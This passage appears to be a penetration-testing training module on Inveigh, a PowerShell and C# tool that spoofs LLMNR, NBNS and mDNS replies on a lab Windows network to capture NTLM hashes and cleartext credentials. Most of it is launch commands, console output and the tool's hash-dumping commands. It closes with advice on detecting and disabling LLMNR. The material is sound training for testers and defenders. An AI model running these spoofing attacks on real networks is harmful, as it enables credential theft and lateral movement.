If we end up with a Windows host as our attack box, our client provides us with a Windows box to test from, or we land on a Windows host as a local admin via another attack method and would like to look to further our access, the tool Inveigh works similar to Responder, but is written in PowerShell and C#. Inveigh can listen to IPv4 and IPv6 and several other protocols, including LLMNR, DNS, mDNS, NBNS, DHCPv6, ICMPv6, HTTP, HTTPS, SMB, LDAP, WebDAV, and Proxy Auth. The tool is available in the C:\Tools directory on the provided Windows attack host.
We can get started with the PowerShell version as follows and then list all possible parameters. There is a wiki that lists all parameters and usage instructions.
PS C:\htb> Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
[*] Inveigh 1.506 started at 2022-02-28T19:26:30
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 172.16.5.25
[+] Spoofer IP Address = 172.16.5.25
[+] ADIDNS Spoofer = Disabled
[+] DNS Spoofer = Enabled
[+] DNS TTL = 30 Seconds
[+] LLMNR Spoofer = Enabled
[+] LLMNR TTL = 30 Seconds
[+] mDNS Spoofer = Disabled
[+] NBNS Spoofer For Types 00,20 = Enabled
[+] NBNS TTL = 165 Seconds
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Certificate Issuer = Inveigh
[+] HTTPS Certificate CN = localhost
[+] HTTPS Capture = Enabled
[+] HTTP/HTTPS Authentication = NTLM
[+] WPAD Authentication = NTLM
[+] WPAD NTLM Authentication Ignore List = Firefox
[+] WPAD Response = Enabled
[+] Kerberos TGT Capture = Disabled
[+] Machine Account Capture = Disabled
[+] Console Output = Full
[+] File Output = Enabled
[+] Output Directory = C:\Tools
WARNING: [!] Run Stop-Inveigh to stop
[*] Press any key to stop console output
WARNING: [-] [2022-02-28T19:26:31] Error starting HTTP listener
WARNING: [!] [2022-02-28T19:26:31] Exception calling "Start" with "0" argument(s): "An attempt was made to access a
socket in a way forbidden by its access permissions" $HTTP_listener.Start()
[+] [2022-02-28T19:26:31] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:31] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:31] LLMNR request for academy-ea-web0 received from 172.16.5.125 [response sent]
[+] [2022-02-28T19:26:32] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:32] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:32] LLMNR request for academy-ea-web0 received from 172.16.5.125 [response sent]
[+] [2022-02-28T19:26:32] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:32] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:32] LLMNR request for academy-ea-web0 received from 172.16.5.125 [response sent]
[+] [2022-02-28T19:26:33] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:33] mDNS(QM) request academy-ea-web0.local received from 172.16.5.125 [spoofer disabled]
[+] [2022-02-28T19:26:33] LLMNR request for academy-ea-web0 received from 172.16.5.125 [response sent]
[+] [2022-02-28T19:26:34] TCP(445) SYN packet detected from 172.16.5.125:56834
[+] [2022-02-28T19:26:34] SMB(445) negotiation request detected from 172.16.5.125:56834
[+] [2022-02-28T19:26:34] SMB(445) NTLM challenge 7E3B0E53ADB4AE51 sent to 172.16.5.125:56834
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Inveigh Zero / The C# version
PS C:\htb> \Inveigh.exe
[*] Inveigh 2.0.4 [Started 2022-02-28T20:03:28 | PID 6276]
[+] Packet Sniffer Addresses [IP 172.16.5.25 | IPv6 fe80::dcec:2831:712b:c9a3%8]
[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
[+] Spoofer Reply Addresses [IP 172.16.5.25 | IPv6 fe80::dcec:2831:712b:c9a3%8]
[+] Spoofer Options [Repeat Enabled | Local Attacks Disabled]
[ ] DHCPv6
[+] DNS Packet Sniffer [Type A]
[ ] ICMPv6
[+] LLMNR Packet Sniffer [Type A]
[ ] MDNS
[ ] NBNS
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
[ ] HTTPS
[+] WebDAV [WebDAVAuth NTLM]
[ ] Proxy
[+] LDAP Listener [Port 389]
[+] SMB Packet Sniffer [Port 445]
[+] File Output [C:\Tools]
[+] Previous Session Files (Not Found)
[*] Press ESC to enter/exit interactive console
[!] Failed to start HTTP listener on port 80, check IP and port usage.
[!] Failed to start HTTPv6 listener on port 80, check IP and port usage.
[ ] [20:03:31] mDNS(QM)(A) request [academy-ea-web0.local] from 172.16.5.125 [disabled]
[ ] [20:03:31] mDNS(QM)(AAAA) request [academy-ea-web0.local] from 172.16.5.125 [disabled]
[ ] [20:03:31] mDNS(QM)(A) request [academy-ea-web0.local] from fe80::f098:4f63:8384:d1d0%8 [disabled]
[ ] [20:03:31] mDNS(QM)(AAAA) request [academy-ea-web0.local] from fe80::f098:4f63:8384:d1d0%8 [disabled]
[+] [20:03:31] LLMNR(A) request [academy-ea-web0] from 172.16.5.125 [response sent]
[-] [20:03:31] LLMNR(AAAA) request [academy-ea-web0] from 172.16.5.125 [type ignored]
[+] [20:03:31] LLMNR(A) request [academy-ea-web0] from fe80::f098:4f63:8384:d1d0%8 [response sent]
[-] [20:03:31] LLMNR(AAAA) request [academy-ea-web0] from fe80::f098:4f63:8384:d1d0%8 [type ignored]
[ ] [20:03:32] mDNS(QM)(A) request [academy-ea-web0.local] from 172.16.5.125 [disabled]
[ ] [20:03:32] mDNS(QM)(AAAA) request [academy-ea-web0.local] from 172.16.5.125 [disabled]
[ ] [20:03:32] mDNS(QM)(A) request [academy-ea-web0.local] from fe80::f098:4f63:8384:d1d0%8 [disabled]
[ ] [20:03:32] mDNS(QM)(AAAA) request [academy-ea-web0.local] from fe80::f098:4f63:8384:d1d0%8 [disabled]
[+] [20:03:32] LLMNR(A) request [academy-ea-web0] from 172.16.5.125 [response sent]
[-] [20:03:32] LLMNR(AAAA) request [academy-ea-web0] from 172.16.5.125 [type ignored]
[+] [20:03:32] LLMNR(A) request [academy-ea-web0] from fe80::f098:4f63:8384:d1d0%8 [response sent]
[-] [20:03:32] LLMNR(AAAA) request [academy-ea-web0] from fe80::f098:4f63:8384:d1d0%8 [type ignored]
As we can see, the tool starts and shows which options are enabled by default and which are not. The options with a [+] are default and enabled by default and the ones with a [ ] before them are disabled. The running console output also shows us which options are disabled and, therefore, responses are not being sent (mDNS in the above example). We can also see the message Press ESC to enter/exit interactive console, which is very useful while running the tool. The console gives us access to captured credentials/hashes, allows us to stop Inveigh, and more.
We can hit the esc key to enter the console while Inveigh is running.
After typing HELP and hitting enter, we are presented with several options:
=============================================== Inveigh Console Commands ===============================================
Command Description
========================================================================================================================
GET CONSOLE | get queued console output
GET DHCPv6Leases | get DHCPv6 assigned IPv6 addresses
GET LOG | get log entries; add search string to filter results
GET NTLMV1 | get captured NTLMv1 hashes; add search string to filter results
GET NTLMV2 | get captured NTLMv2 hashes; add search string to filter results
GET NTLMV1UNIQUE | get one captured NTLMv1 hash per user; add search string to filter results
GET NTLMV2UNIQUE | get one captured NTLMv2 hash per user; add search string to filter results
GET NTLMV1USERNAMES | get usernames and source IPs/hostnames for captured NTLMv1 hashes
GET NTLMV2USERNAMES | get usernames and source IPs/hostnames for captured NTLMv2 hashes
GET CLEARTEXT | get captured cleartext credentials
GET CLEARTEXTUNIQUE | get unique captured cleartext credentials
GET REPLYTODOMAINS | get ReplyToDomains parameter startup values
GET REPLYTOHOSTS | get ReplyToHosts parameter startup values
GET REPLYTOIPS | get ReplyToIPs parameter startup values
GET REPLYTOMACS | get ReplyToMACs parameter startup values
GET IGNOREDOMAINS | get IgnoreDomains parameter startup values
GET IGNOREHOSTS | get IgnoreHosts parameter startup values
GET IGNOREIPS | get IgnoreIPs parameter startup values
GET IGNOREMACS | get IgnoreMACs parameter startup values
SET CONSOLE | set Console parameter value
HISTORY | get command history
RESUME | resume real time console output
STOP | stop Inveigh
We can quickly view unique captured hashes by typing GET NTLMV2UNIQUE.
We can type in GET NTLMV2USERNAMES and see which usernames we have collected. This is helpful if we want a listing of users to perform additional enumeration against and see which are worth attempting to crack offline using Hashcat.
It is not always possible to disable LLMNR and NetBIOS, and therefore we need ways to detect this type of attack behavior. One way is to use the attack against the attackers by injecting LLMNR and NBT-NS requests for non-existent hosts across different subnets and alerting if any of the responses receive answers which would be indicative of an attacker spoofing name resolution responses. This blog post explains this method more in-depth.
Furthermore, hosts can be monitored for traffic on ports UDP 5355 and 137, and event IDs 4697 and 7045 can be monitored for. Finally, we can monitor the registry key HKLM\Software\Policies\Microsoft\Windows NT\DNSClient for changes to the EnableMulticast DWORD value. A value of 0 would mean that LLMNR is disabled.
